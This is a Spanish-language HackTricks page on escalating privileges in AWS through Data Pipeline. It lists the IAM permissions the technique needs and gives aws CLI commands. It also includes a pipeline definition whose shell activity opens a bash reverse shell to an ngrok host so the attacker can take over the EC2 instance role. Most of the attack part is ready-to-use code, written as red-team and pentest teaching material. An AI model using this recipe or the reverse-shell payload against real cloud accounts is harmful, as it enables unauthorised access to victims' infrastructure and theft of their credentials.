AWS - Datapipeline Privesc

Aprende hacking en AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

datapipeline

Para obtener más información sobre datapipeline, consulta:

pageAWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datappipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Los usuarios con estos permisos pueden escalar privilegios creando un Data Pipeline para ejecutar comandos arbitrarios utilizando los permisos del rol asignado:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Después de la creación del pipeline, el atacante actualiza su definición para dictar acciones específicas o creaciones de recursos:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Ten en cuenta que el rol en líneas 14, 15 y 27 debe ser un rol asumible por datapipeline.amazonaws.com y el rol en línea 28 debe ser un rol asumible por ec2.amazonaws.com con un perfil de instancia EC2.

Además, la instancia EC2 solo tendrá acceso al rol asumible por la instancia EC2 (por lo que solo puedes robar ese).

```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` El **archivo de definición del pipeline, creado por el atacante, incluye directivas para ejecutar comandos** o crear recursos a través de la API de AWS, aprovechando los permisos del rol de Data Pipeline para potencialmente obtener privilegios adicionales.

Impacto potencial: Escalada directa de privilegios al rol de servicio ec2 especificado.

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización